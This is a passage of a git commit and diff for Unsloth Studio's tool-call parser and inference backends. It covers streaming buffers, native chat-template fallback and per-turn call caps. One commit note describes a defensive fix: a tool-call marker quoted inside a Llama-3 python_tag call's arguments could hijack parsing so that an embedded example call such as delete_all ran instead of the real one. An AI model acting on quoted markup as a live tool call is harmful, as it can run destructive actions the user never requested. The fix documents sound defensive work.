* Keep buffering long wrapper-less Gemma tool names instead of leaking the prefix

The streaming buffer stopped holding a call:NAME prefix at a fixed
32-char cap, so a Gemma wrapper-less call to a tool whose name exceeds
that (OpenAI allows 64 chars, MCP names run longer) streamed its raw
call:longname text as visible content before the end-of-turn parser
executed it. Hold the variable-length prefix while it still matches the
call: shape, bounded like the bare-JSON path and self-terminating into
prose, draining once the opening brace arrives.

* Keep prose that only mentions DeepSeek/Kimi markers in the route display strip

The route-level _TOOL_XML_RE DeepSeek/Kimi arms consumed from an opener up to
the end of text whenever the marker appeared, so an answer that merely refers
to a marker (for example "See <|tool_call_begin|> in the docs") had the rest
of the reply truncated. The parser-level _TOOL_ALL_PATS already gates these
arms with a call-shaped lookahead. Mirror it here so a marker is only stripped
when a real call follows it or it is a bare fragment at end of text.

* Tighten tool-calling parser and backend comments

* Pass trust_remote_code when reloading native tokenizers

The native-template fallback re-fetches a model's native chat template from
its repo when an Unsloth override template drops the tools schema. The
secondary AutoTokenizer.from_pretrained threaded hf_token but not
trust_remote_code, so for a model loaded with trust_remote_code=True whose
tokenizer repo carries custom code the reload raised, was swallowed, and the
request silently kept the tool-dropping prompt for a model that supports tools.

Store the loaded trust_remote_code on each backend's per-model info dict and
source it in render_native_template, so the reload re-uses exactly the consent
granted at load. For a LoRA adapter the reload targets the base model, whose
remote code was gated and loaded under the same stored flag, so re-passing it
executes no unconsented code. Falsy stored flag preserves the prior behaviour.

Adds a regression test that fails without the flag (custom-code reload raises,
returns None) and passes with it (tools-advertising native prompt returned).

* Treat <|python_tag|> as an outer marker envelope

A Llama-3 <|python_tag|> tool call (built-in NAME.call(...) or custom
{json} form) whose argument quotes a complete DeepSeek/Kimi example was
hijacked by the DeepSeek/Kimi marker pre-pass: the embedded example (for
example delete_all) executed instead of the real outer call. python_tag
is Llama-3's tool-call envelope, so a marker quoted inside its arguments
is data, the same as for <tool_call>, <function=...>, bare JSON, Mistral
and wrapper-less Gemma, which the guard already covers.

Add <|python_tag|> to _OUTER_ENVELOPE_OPEN_RE with a call-shaped
lookahead (mirroring the _TOOL_ALL_PATS python_tag arm) so the marker
pre-pass is suppressed when a python_tag call opens before the first
marker, while a bare prose <|python_tag|> mention is left untouched.

* Tighten tool-call parser comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: Daniel Han <info@unsloth.ai>
Co-authored-by: danielhanchen <danielhanchen@users.noreply.github.com>
---
 .gitignore                                    |    2 +
 scripts/verify_import_hoist.py                |   15 +-
 .../core/inference/chat_template_helpers.py   |  184 +-
 studio/backend/core/inference/inference.py    |   34 +
 studio/backend/core/inference/llama_cpp.py    |  124 +-
 .../backend/core/inference/mlx_inference.py   |   32 +
 .../core/inference/passthrough_healing.py     |    9 +-
 .../core/inference/safetensors_agentic.py     |  138 +-
 .../core/inference/tool_call_parser.py        | 1546 +++++++++++++++--
 studio/backend/routes/inference.py            |  168 +-
 .../tests/test_gemma_tool_parse_edge_cases.py |   61 +-
 .../backend/tests/test_llama_cpp_tool_loop.py |  136 +-
 studio/backend/tests/test_mcp_servers.py      |    4 +-
 .../tests/test_mlx_inference_backend.py       |   51 +-
 .../test_native_template_trust_remote_code.py |  176 ++
 .../backend/tests/test_pr5624_regressions.py  | 1011 +++++++++++
 .../tests/test_responses_tool_passthrough.py  |   14 +-
 .../test_safetensors_capability_advertise.py  |  133 +-
 .../test_safetensors_reasoning_stream.py      |   12 +-
 .../tests/test_safetensors_tool_loop.py       | 1247 ++++++++++++-
 .../tests/test_tool_call_parser_strict.py     |  632 ++++++-
 studio/backend/tests/test_tool_xml_strip.py   |  194 ++-
 22 files changed, 5472 insertions(+), 451 deletions(-)
 create mode 100644 studio/backend/tests/test_native_template_trust_remote_code.py
 create mode 100644 studio/backend/tests/test_pr5624_regressions.py

diff --git a/.gitignore b/.gitignore
index 9f7d4b8c60..39ca2226ca 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,6 +11,8 @@ outputs/
 exports/
 /datasets/
 studio/backend/assets/datasets/
+# Generated async worker / reviewer transcripts (never part of the product).
+studio/backend/async_task_outputs/
 unsloth_training_checkpoints/
 *.gguf
 *.safetensors
diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py
index 2d30265abe..22a21a2ebc 100644
--- a/scripts/verify_import_hoist.py
+++ b/scripts/verify_import_hoist.py
@@ -564,7 +564,10 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     for n, tids in b["module_import_targets"].items():
         if tids & after_used:
             continue  # resolved -> fine
-        # `from __future__ import ...` is a compiler directive whose name is never loaded; skip it.
+        # `from __future__ import ...` is a compiler directive, not a runtime
+        # binding: the name (`annotations`, ...) is never loaded, so it can never
+        # "resolve" to a use. Skip it so a legitimately-added future import
+        # (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged.
         if all(t.startswith("from:__future__:") for t in tids):
             continue
         newly_added = bool(tids - before_module_targets)
@@ -592,9 +595,13 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     #    `import urllib.error` next to `import urllib.request`). Nothing the name
     #    resolved to before is lost, so no reference is re-pointed -- skip it.
     #
-    #    A deliberate *relocation* is also benign: a name's import source moves A -> B in
-    #    THIS diff (old `from A import x` removed, new `from B import x` added). Mirrors the
-    #    TARGET-MISSING tolerance. Re-pointing to a pre-existing target (clash) is NOT exempted.
+    #    A deliberate *relocation* is also benign and must not block: when a name
+    #    keeps its spelling but its import source is moved A -> B in THIS diff (the
+    #    old `from A import x` is removed at module level and a new `from B import x`
+    #    is added), the swap is intentional, not a silent re-point to a pre-existing
+    #    different object. This mirrors the relocation tolerance already applied to
+    #    TARGET-MISSING. The dangerous case -- the name now resolving to a target
+    #    that already existed before (shadow/clash) -- is NOT exempted.
     removed_module_targets = before_module_targets - after_module_targets
     for key, tafter in b["target_by_use"].items():
         tbefore = a["target_by_use"].get(key)
diff --git a/studio/backend/core/inference/chat_template_helpers.py b/studio/backend/core/inference/chat_template_helpers.py
index f58c93b7fe..dfd4c1c0bc 100644
--- a/studio/backend/core/inference/chat_template_helpers.py
+++ b/studio/backend/core/inference/chat_template_helpers.py
@@ -3,13 +3,19 @@
 
 """
 Dependency-light wrapper around tokenizer.apply_chat_template with a kwarg
-fallback for templates that reject reasoning/tools args.
+fallback for templates that reject reasoning/tools args, plus the shared
+native-chat-template fallback used by the transformers and MLX backends.
 """
 
+import copy
 import json
+import logging
 from typing import Optional
 
 
+logger = logging.getLogger(__name__)
+
+
 def _normalize_tool_call_arguments(messages: list) -> list:
     """Coerce each assistant ``tool_calls[].function.arguments`` from a JSON
     string to a dict.
@@ -110,3 +116,179 @@ def apply_chat_template_for_generation(
         if normalized is messages:
             raise
         return _render(normalized)
+
+
+def render_native_template(
+    *,
+    model_info: dict,
+    active_model_name: Optional[str],
+    messages: list,
+    tools: list,
+    enable_thinking: Optional[bool] = None,
+    reasoning_effort: Optional[str] = None,
+    preserve_thinking: Optional[bool] = None,
+    apply_fn = None,
+    hf_token: Optional[str] = None,
+) -> Optional[str]:
+    """Render ``messages`` + ``tools`` with the model's NATIVE chat template.
+
+    Some Unsloth override templates (e.g. ``mistral``, ``gemma-4``) do not emit
+    the ``tools`` schema, so a tool-calling turn silently stops advertising tools.
+    The native template ships in the model repo and carries the family's
+    tool-calling syntax. It is loaded straight from the repo (bypassing any
+    override on the live tokenizer) and cached on ``model_info``. Returns the
+    rendered prompt only if the native template actually emits the tools (render
+    differs with vs without tools); otherwise ``None``.
+
+    ``hf_token`` is the token the model was loaded with -- passed to the repo load
+    so a gated/private model's native template can still be fetched (otherwise the
+    fallback fails silently and keeps the override prompt that dropped tools).
+
+    ``trust_remote_code`` is sourced from ``model_info`` (the value the model was
+    actually loaded with) rather than a call-site argument, so the native-template
+    reload uses exactly the consent already granted at load. A custom-code tokenizer
+    repo raises in ``AutoTokenizer.from_pretrained`` unless ``trust_remote_code`` is
+    passed, so without this the fallback fails silently and keeps the tool-dropping
+    prompt for a model the user already consented to run remote code for. For a LoRA
+    adapter the reload targets the base model, whose remote code was gated and loaded
+    under the same stored flag, so re-passing it executes no unconsented code.
+    """
+    # ``apply_fn`` lets a backend inject its own render; defaults to the module helper.
+    if apply_fn is None:
+        apply_fn = apply_chat_template_for_generation
+    native_tpl = model_info.get("native_chat_template")
+    if native_tpl is None:
+        # A LoRA adapter's native template lives on the base model, not the adapter id.
+        template_source = model_info.get("base_model") or active_model_name
+        # Re-use the load-time trust_remote_code so a custom-code tokenizer repo can
+        # instantiate its class (the stored flag already covers template_source).
+        trust_remote_code = bool(model_info.get("trust_remote_code", False))
+        try:
+            from transformers import AutoTokenizer
+            nt = AutoTokenizer.from_pretrained(
+                template_source,
+                token = hf_token if hf_token and hf_token.strip() else None,
+                trust_remote_code = trust_remote_code,
+            )
+            native_tpl = nt.chat_template or False
+        except Exception as exc:
+            logger.warning(
+                "Could not load native chat template for '%s': %s",
+                template_source,
+                exc,
+            )
+            # A failed fetch is not "no template": leave the sentinel unset so the next
+            # call retries (caching False would pin the tool-dropping override).
+            return None
+        model_info["native_chat_template"] = native_tpl
+    if not native_tpl:
+        return None
+
+    tokenizer = model_info.get("tokenizer") or model_info.get("processor")
+    if tokenizer is None:
+        return None
+    tokenizer = getattr(tokenizer, "tokenizer", tokenizer)
+    # Render on a shallow copy: mutating the shared tokenizer.chat_template (outside the
+    # generation lock) races concurrent requests.
+    try:
+        render_tokenizer = copy.copy(tokenizer)
+        render_tokenizer.chat_template = native_tpl
+    except Exception as exc:
+        logger.warning(
+            "Could not clone tokenizer for native-template render of '%s': %s",
+            active_model_name,
+            exc,
+        )
+        return None
+    try:
+        with_tools = apply_fn(
+            render_tokenizer,
+            messages,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+        no_tools = apply_fn(
+            render_tokenizer,
+            messages,
+            tools = None,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+    except Exception as exc:
+        logger.warning(
+            "Native-template tool render failed for '%s': %s",
+            active_model_name,
+            exc,
+        )
+        return None
+    return with_tools if with_tools != no_tools else None
+
+
+def render_with_native_template_fallback(
+    *,
+    formatted_prompt: str,
+    tokenizer,
+    model_info: dict,
+    active_model_name: Optional[str],
+    messages: list,
+    tools: Optional[list],
+    enable_thinking: Optional[bool] = None,
+    reasoning_effort: Optional[str] = None,
+    preserve_thinking: Optional[bool] = None,
+    apply_fn = None,
+    hf_token: Optional[str] = None,
+) -> str:
+    """Return ``formatted_prompt``, swapping in a native-template render when an
+    override template dropped the ``tools`` schema.
+
+    If ``tools`` were requested but the live render is identical with and without
+    them (detected by comparison, robust against tool names in the system prompt),
+    re-render with the model's native template. Shared by the transformers and MLX
+    backends so both advertise tools consistently. ``hf_token`` is forwarded so a
+    gated/private model's native template can still be fetched."""
+    if not tools:
+        return formatted_prompt
+    if apply_fn is None:
+        apply_fn = apply_chat_template_for_generation
+    # Probe whether the live template dropped the schema. A tools-requiring template
+    # can raise here; on any error keep the valid tools prompt rather than lose it.
+    try:
+        probe_no_tools = apply_fn(
+            tokenizer,
+            messages,
+            tools = None,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+    except Exception as exc:
+        logger.warning(
+            "No-tools probe failed for '%s'; keeping the existing tools prompt: %s",
+            active_model_name,
+            exc,
+        )
+        return formatted_prompt
+    if formatted_prompt != probe_no_tools:
+        return formatted_prompt  # template already emits the tools schema
+    native_prompt = render_native_template(
+        model_info = model_info,
+        active_model_name = active_model_name,
+        messages = messages,
+        tools = tools,
+        enable_thinking = enable_thinking,
+        reasoning_effort = reasoning_effort,
+        preserve_thinking = preserve_thinking,
+        apply_fn = apply_fn,
+        hf_token = hf_token,
+    )
+    if native_prompt:
+        logger.info(
+            "Override template for '%s' dropped tool schemas; using the model's "
+            "native template for this tool-calling turn.",
+            active_model_name,
+        )
+        return native_prompt
+    return formatted_prompt
diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index eaee5a213a..164f202681 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -269,6 +269,9 @@ class InferenceBackend:
         gpu_ids: Optional[list[int]] = None,
     ) -> bool:
         """Load any model: base, LoRA adapter, text, or vision."""
+        # Keep the token so the native-template fallback can fetch a
+        # gated model's repo template later during generation.
+        self._hf_token = hf_token
         # GGUF uses max_seq_length=0 as "model default"; Unsloth crashes on it.
         if max_seq_length <= 0:
             max_seq_length = 2048
@@ -279,6 +282,8 @@ class InferenceBackend:
             # Already loaded?
             if model_name in self.models and self.models[model_name].get("model"):
                 logger.info(f"Model {model_name} already loaded")
+                if hf_token:
+                    self.models[model_name]["hf_token"] = hf_token
                 self.active_model_name = model_name
                 return True
 
@@ -294,6 +299,14 @@ class InferenceBackend:
             )
 
             self.models[model_name] = {
+                # Per-model token: the native-template fallback must use the
+                # token this model was loaded with, not whichever loaded last.
+                "hf_token": hf_token,
+                # Per-model consent: the native-template reload must re-use the
+                # exact trust_remote_code this model (and a LoRA's base) was loaded
+                # with, so a custom-code tokenizer repo can be re-fetched without
+                # executing any code the user did not already consent to.
+                "trust_remote_code": trust_remote_code,
                 "is_vision": config.is_vision,
                 "is_lora": config.is_lora,
                 "is_audio": config.is_audio,
@@ -1040,6 +1053,27 @@ class InferenceBackend:
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
             )
+
+            # If tools were requested but the (possibly overridden) template ignored
+            # them, fall back to the model's native template (shared with MLX).
+            from core.inference.chat_template_helpers import (
+                render_with_native_template_fallback,
+            )
+
+            formatted_prompt = render_with_native_template_fallback(
+                formatted_prompt = formatted_prompt,
+                tokenizer = tokenizer,
+                model_info = model_info,
+                active_model_name = self.active_model_name,
+                messages = template_messages,
+                tools = tools,
+                enable_thinking = enable_thinking,
+                reasoning_effort = reasoning_effort,
+                preserve_thinking = preserve_thinking,
+                apply_fn = self._apply_chat_template_for_generation,
+                hf_token = model_info.get("hf_token"),
+            )
+
             logger.debug(f"Formatted prompt: {formatted_prompt[:200]}...")
         except Exception as e:
             logger.error(f"Error applying chat template: {e}")
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 5e67f6b484..455d1d084c 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -40,11 +40,15 @@ from core.inference.llama_server_args import (
 )
 
 # Share strip / signal constants with the multi-format parser so BUFFERING also
-# catches Llama-3 / Mistral / Gemma 4.
+# catches Llama-3 / Mistral / Gemma 4 (legacy helper only knew <tool_call> / <function=).
 from core.inference.tool_call_parser import (
+    _GEMMA_BARE_TC_PREFIX_RE,
+    _GEMMA_BARE_TC_RE,
     _TOOL_ALL_PATS,
     _balanced_brace_end,
     _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
     _strip_mistral_closed_calls,
     TOOL_XML_SIGNALS as _SHARED_TOOL_XML_SIGNALS,
     RAG_MAX_SEARCHES_PER_TURN,
@@ -238,6 +242,10 @@ _DEFAULT_FIRST_TOKEN_TIMEOUT_S = 1200.0  # 20 min
 _PROVISIONAL_ARGS_MIN_CHARS = 256
 _DEFAULT_STREAM_STALL_TIMEOUT_S = 120.0  # 2 min
 _REPROMPT_MAX_CHARS = 2000
+# Cap tool calls from a single TEXTUAL-fallback turn (mirrors the safetensors
+# loop). Structured delta.tool_calls are grammar-bounded by llama-server; text
+# parsed from content is not, so one runaway turn could fan out unbounded.
+_MAX_TOOL_CALLS_PER_TURN = 8
 _FORCED_REPEAT_PLAN_SIGNAL = re.compile(
     r"\b(?:i\s+will|i'll|let\s+me|going\s+to|need\s+to|call|use|run|search|fetch|render)\b",
     re.I,
@@ -551,6 +559,13 @@ _TOOL_TEMPLATE_MARKERS = (
     "'role' == 'tool'",
     'message.role == "tool"',
     "message.role == 'tool'",
+    # DeepSeek: no top-level ``{% if tools %}`` block; it gates emission on
+    # ``message['role'] == 'tool'`` plus ``message['tool_calls'] is defined``.
+    "message['role'] == 'tool'",
+    'message["role"] == "tool"',
+    "message['tool_calls']",
+    'message["tool_calls"]',
+    "tool_calls is defined",
 )
 
 
@@ -8409,6 +8424,10 @@ class LlamaCppBackend:
                 "duration_ms": round((time.monotonic() - started_at) * 1000.0),
             }
 
+        # Enabled-name gate for the markerless Gemma strip (disabled/example
+        # names stay visible). Set per iteration; None = pre-loop name-agnostic.
+        _enabled_tool_names = None
+
         def _strip_tool_markup(
             text: str,
             *,
@@ -8417,17 +8436,22 @@ class LlamaCppBackend:
         ) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            return _shared_strip_tool_markup(text, final = final)
+            return _shared_strip_tool_markup(
+                text, final = final, enabled_tool_names = _enabled_tool_names
+            )
 
         def _strip_tool_markup_streaming(text: str, *, force: bool = False) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            # Shared patterns so a textual Mistral/Llama call entering DRAINING is stripped, not
-            # leaked. Mistral first; no final trim so incremental length comparisons hold.
+            # Shared parser patterns (not the legacy tool_healing set) so textual
+            # Mistral/python_tag calls entering DRAINING never leak. Balanced strips
+            # first (nested JSON removed whole); no final trim so length compares hold.
             text = _strip_mistral_closed_calls(text)
-            # Parser-accurate function-XML scan before the regex arms so a literal ``<function=...>``
-            # in a value doesn't make the tail eat trailing prose after the real ``</function>``.
+            text = _strip_gemma_wrapperless_calls(text, _enabled_tool_names)
+            # Parser-accurate scans close at each call's REAL terminator before
+            # the regex arms: literal markup inside a value is data.
             text = _strip_function_xml_calls(text, final = True)
+            text = _strip_glm_calls(text, final = True)
             for pat in _TOOL_ALL_PATS:
                 text = pat.sub("", text)
             return text
@@ -8507,8 +8531,8 @@ class LlamaCppBackend:
         # "Hello!" won't match. Pattern compiled at module level
         # (_INTENT_SIGNAL).
         _reprompt_count = 0
-        # Gates ``max_tool_iterations`` on real tool turns so reserved re-prompt slots don't
-        # extend the budget. Mirrors the safetensors guard.
+        # Gates ``max_tool_iterations`` on real tool turns (not the enlarged range) so reserved
+        # re-prompt slots don't extend the budget. Mirrors the safetensors guard.
         _tool_iters_done = 0
         _forced_tool_call_pending = False
 
@@ -8525,13 +8549,13 @@ class LlamaCppBackend:
             if not active_tools:
                 _append_budget_exhausted_nudge = False
                 break
-            # Gate the markerless bare-JSON form on enabled names so a JSON answer isn't misread as a call.
+            # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
             _enabled_tool_names = {
                 (tool.get("function") or {}).get("name")
                 for tool in active_tools
                 if (tool.get("function") or {}).get("name")
             }
-            # Shared signal tuple so GGUF BUFFERING wakes on every format the parser knows.
+            # Shared signal tuple so GGUF BUFFERING wakes on every format the parser knows (like safetensors).
             _tool_xml_signals = _SHARED_TOOL_XML_SIGNALS
 
             # Build payload -- stream: True so we detect tool signals
@@ -8815,8 +8839,9 @@ class LlamaCppBackend:
                                                 is_prefix = True
                                                 break
 
-                                        # Bare Llama-3.2 {"name":..} has no XML signal: hold an
-                                        # incomplete object, drain a complete one (mirrors safetensors).
+                                        # Signal-less call shapes (mirror the safetensors
+                                        # loop): Llama-3.2 bare {"name":..} and Gemma
+                                        # call:NAME{...} would otherwise stream raw.
                                         _hold_buffer = False
                                         # Whole buffer is the call (no visible prefix) -- drain silently.
                                         _drain_silently = False
@@ -8829,9 +8854,9 @@ class LlamaCppBackend:
                                                     elif _looks_like_enabled_bare_json(
                                                         _bare, _enabled_tool_names
                                                     ):
-                                                        # Oversized still-open ENABLED-tool call: stop
-                                                        # holding (memory bound) but DRAIN, not leak;
-                                                        # a giant ordinary JSON answer still streams.
+                                                        # Oversized still-open enabled call: drain
+                                                        # rather than leak; a giant ordinary JSON
+                                                        # answer still streams.
                                                         _drain_silently = True
                                                 elif self._parse_tool_calls_from_text(
                                                     content_buffer,
@@ -8839,6 +8864,17 @@ class LlamaCppBackend:
                                                     enabled_tool_names = _enabled_tool_names,
                                                 ):
                                                     _drain_silently = True
+                                            elif (
+                                                "call:".startswith(stripped_buf)
+                                                or _GEMMA_BARE_TC_PREFIX_RE.match(stripped_buf)
+                                                is not None
+                                                or _GEMMA_BARE_TC_RE.match(stripped_buf) is not None
+                                            ):
+                                                # Whitespace-tolerant like the parser.
+                                                if _GEMMA_BARE_TC_RE.match(stripped_buf):
+                                                    _drain_silently = True
+                                                elif len(stripped_buf) < _MAX_BUFFER_CHARS:
+                                                    _hold_buffer = True
 
                                         if _drain_silently:
                                             # No visible prefix -- the buffered text IS
@@ -8890,9 +8926,10 @@ class LlamaCppBackend:
                 # ── Resolve BUFFERING at stream end ──
                 if detect_state == _S_BUFFERING:
                     stripped_buf = content_buffer.lstrip()
-                    # A held bare-JSON fragment has no XML signal; route it to DRAINING.
+                    # A held bare-JSON fragment has no XML signal; route it to DRAINING (the signal-only
+                    # gate below would flush the raw JSON to the user).
                     _bare_eos = strip_llama3_leading_sentinels(stripped_buf)
-                    # Gate on enabled names so a JSON answer isn't routed to DRAINING and dropped.
+                    # Gate on enabled names so an ordinary JSON answer isn't routed to DRAINING and dropped.
                     _is_bare_tc = bool(active_tools) and _looks_like_enabled_bare_json(
                         _bare_eos, _enabled_tool_names
                     )
@@ -8925,8 +8962,8 @@ class LlamaCppBackend:
                                     "text": cumulative_display,
                                 }
                     else:
-                        # No tool signal and no enabled bare-JSON call: a leading ``{`` is an ordinary
-                        # JSON answer and must be shown; any other partial-markup prefix is dropped.
+                        # Held buffer was no tool signal and no enabled bare-JSON call: a leading ``{`` is an
+                        # ordinary JSON answer and must be shown; any other partial-markup prefix is dropped.
                         _held = strip_llama3_leading_sentinels(content_buffer.lstrip())
                         if _held.startswith("{") and not _suppress_visible_output:
                             yield {"type": "content", "text": _held}
@@ -8934,10 +8971,12 @@ class LlamaCppBackend:
 
                 # ── STREAMING path: no tool call ──
                 if detect_state == _S_STREAMING:
-                    # Safety net: re-parse the full content for tool calls. The route layer resets
-                    # prev_text on tool_start, so post-tool synthesis streams correctly even if
-                    # content was emitted before the tool XML. Unconditional (not gated on
-                    # _tool_xml_signals): bare-JSON and Gemma wrapper-less calls carry no signal.
+                    # Safety net: re-parse the full content for tool calls. The
+                    # route layer resets prev_text on tool_start, so post-tool
+                    # synthesis streams correctly even if content was emitted
+                    # before the tool XML.
+                    # Unconditional (not gated on _tool_xml_signals): bare-JSON and Gemma wrapper-less
+                    # calls carry no XML signal, so a signal gate would let them slip past.
                     _safety_tc = self._parse_tool_calls_from_text(
                         content_accum,
                         allow_incomplete = auto_heal_tool_calls,
@@ -9060,8 +9099,8 @@ class LlamaCppBackend:
                             if (tool_calls_acc[i].get("function", {}).get("name", "").strip())
                         ] or None
                     if not tool_calls:
-                        # Unconditional re-parse: DRAINING means the buffer looked like a call, and
-                        # bare-JSON / Gemma wrapper-less calls carry no XML signal to gate on.
+                        # Unconditional re-parse: we only reach DRAINING when the buffer looked like a
+                        # call, and bare-JSON / Gemma wrapper-less calls carry no XML signal to gate on.
                         tool_calls = self._parse_tool_calls_from_text(
                             content_accum,
                             allow_incomplete = auto_heal_tool_calls,
@@ -9073,8 +9112,8 @@ class LlamaCppBackend:
                             final = True,
                             force = True,
                         )
-                        # ``_strip_tool_markup`` only knows XML; also drop a leading bare-JSON call
-                        # so the executed call isn't replayed as text or next-turn history.
+                        # ``_strip_tool_markup`` only knows XML; also drop a leading bare-JSON call so the
+                        # executed call isn't replayed as text or next-turn history.
                         content_text = strip_leading_bare_json_call(
                             content_text, _enabled_tool_names
                         )
@@ -9091,8 +9130,8 @@ class LlamaCppBackend:
                         if content_accum:
                             # Strip leaked tool-call XML before yielding.
                             content_accum = _strip_tool_markup(content_accum, final = True)
-                        # A truncated bare-JSON call has no XML to strip and didn't parse. With
-                        # Auto-Heal on drop a leading ENABLED-tool fragment (plain JSON untouched);
+                        # A truncated bare-JSON call has no XML markup to strip and didn't parse. With
+                        # Auto-Heal on, drop a leading ENABLED-tool fragment (ordinary JSON answers untouched);
                         # off keeps it visible per the strict contract.
                         if content_accum and active_tools and auto_heal_tool_calls:
                             content_accum = strip_leading_bare_json_call(
@@ -9115,6 +9154,29 @@ class LlamaCppBackend:
                 _accumulated_predicted_ms += _it.get("predicted_ms", 0)
                 _accumulated_predicted_n += _it.get("predicted_n", 0)
 
+                # Collapse exact-duplicate calls and cap the count for the TEXTUAL
+                # fallback (mirrors the safetensors loop; see _MAX_TOOL_CALLS_PER_TURN).
+                if tool_calls and not has_structured_tc and len(tool_calls) > 1:
+                    _seen_keys: set = set()
+                    _deduped: list = []
+                    for _tc in tool_calls:
+                        _fn = _tc.get("function", {}) or {}
+                        _key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
+                        if _key in _seen_keys:
+                            continue
+                        _seen_keys.add(_key)
+                        _deduped.append(_tc)
+                        if len(_deduped) >= _MAX_TOOL_CALLS_PER_TURN:
+                            break
+                    if len(_deduped) != len(tool_calls):
+                        logger.info(
+                            "GGUF textual fallback: collapsed %d repeated tool call(s) "
+                            "in one turn to %d",
+                            len(tool_calls),
+                            len(_deduped),
+                        )
+                    tool_calls = _deduped
+
                 # disable_parallel_tool_use: execute only the first tool call
                 # this turn. Truncate before building assistant_msg so the
                 # conversation stays consistent and extra calls are never executed.
@@ -9265,8 +9327,8 @@ class LlamaCppBackend:
                 if tool_controller.force_final_answer or not tool_controller.active_tools():
                     _append_budget_exhausted_nudge = False
                     break
-                # Count only real tool turns against the cap so reserved re-prompt slots can't
-                # become extra tool rounds; a no-op turn doesn't consume budget (GGUF parity).
+                # Count only real tool turns against the cap so reserved re-prompt slots can't become
+                # extra tool rounds; a no-op correction turn doesn't consume budget (GGUF parity).
                 if _turn_executed_real_tool:
                     _tool_iters_done += 1
                     if _tool_iters_done >= max_tool_iterations:
diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py
index 5c7799152f..45f46fef2f 100644
--- a/studio/backend/core/inference/mlx_inference.py
+++ b/studio/backend/core/inference/mlx_inference.py
@@ -104,6 +104,9 @@ class MLXInferenceBackend:
     ) -> bool:
         import mlx.core as mx
 
+        # Keep the token so the native-template fallback can fetch a
+        # gated model's repo template later during generation.
+        self._hf_token = hf_token
         model_name = config.identifier if hasattr(config, "identifier") else str(config)
         is_vision = getattr(config, "is_vision", False)
 
@@ -168,11 +171,20 @@ class MLXInferenceBackend:
 
         self.active_model_name = model_name
         self.models[model_name] = {
+            # Per-model token for the native-template fallback (matches transformers).
+            "hf_token": hf_token,
+            # Per-model consent for the native-template reload: re-use the exact
+            # trust_remote_code this model was loaded with (matches transformers).
+            "trust_remote_code": trust_remote_code,
             "model": self._model,
             "tokenizer": self._tokenizer,
             "processor": self._processor,
             "is_vision": is_vision,
             "is_lora": getattr(config, "is_lora", False),
+            # For a LoRA adapter the native chat template lives on the base model.
+            "base_model": getattr(config, "base_model", None)
+            if getattr(config, "is_lora", False)
+            else None,
             "is_audio": False,
             "audio_type": None,
             "has_audio_input": False,
@@ -355,6 +367,7 @@ class MLXInferenceBackend:
 
         from core.inference.chat_template_helpers import (
             apply_chat_template_for_generation,
+            render_with_native_template_fallback,
         )
 
         prompt = apply_chat_template_for_generation(
@@ -368,6 +381,25 @@ class MLXInferenceBackend:
         if prompt is None:
             raise RuntimeError("apply_chat_template returned None — tokenizer may be incompatible")
 
+        # Same parity fix as the transformers backend: if the template dropped the
+        # requested tools, fall back to the native template so MLX text models keep
+        # advertising them. ``self._tokenizer`` is this entry's model_info tokenizer,
+        # so probe and native render share a renderer. (The VLM path renders via the
+        # processor for image tokens and is intentionally not wired here.)
+        model_info = self.models.get(self.active_model_name, {})
+        prompt = render_with_native_template_fallback(
+            formatted_prompt = prompt,
+            tokenizer = self._tokenizer,
+            model_info = model_info,
+            active_model_name = self.active_model_name,
+            messages = messages,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+            hf_token = model_info.get("hf_token"),
+        )
+
         sampler = make_sampler(
             temp = temperature,
             top_p = top_p,
diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py
index 35855cc34d..fe1aca0e4a 100644
--- a/studio/backend/core/inference/passthrough_healing.py
+++ b/studio/backend/core/inference/passthrough_healing.py
@@ -32,9 +32,12 @@ from typing import Any, Optional
 from core.inference.tool_loop_controller import coerce_tool_arguments
 from core.tool_healing import parse_tool_calls_from_text
 
-# Only the formats this healer can promote. The parser's broader list adds Llama
-# <|python_tag|> / Mistral [TOOL_CALLS], but buffering those here would flush a
-# streamed call as prose, so keep a healer-aligned list.
+# Signals limited to the formats parse_tool_calls_from_text (core.tool_healing)
+# actually promotes. The parser module's broader signal list also covers Llama
+# <|python_tag|> and Mistral [TOOL_CALLS] for the streaming DRAIN buffers whose
+# full parser handles them; buffering those here would hold a streamed
+# client-tool call until finalization and then flush it as prose (this healer
+# cannot promote them), so the passthrough keeps its own aligned list.
 _HEAL_SIGNALS = (
     "<tool_call>",
     "<|tool_call>",
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index b67c6cf7e7..8e86d09754 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -21,9 +21,13 @@ from typing import Callable, Generator, Optional
 from loggers import get_logger
 
 from core.inference.tool_call_parser import (
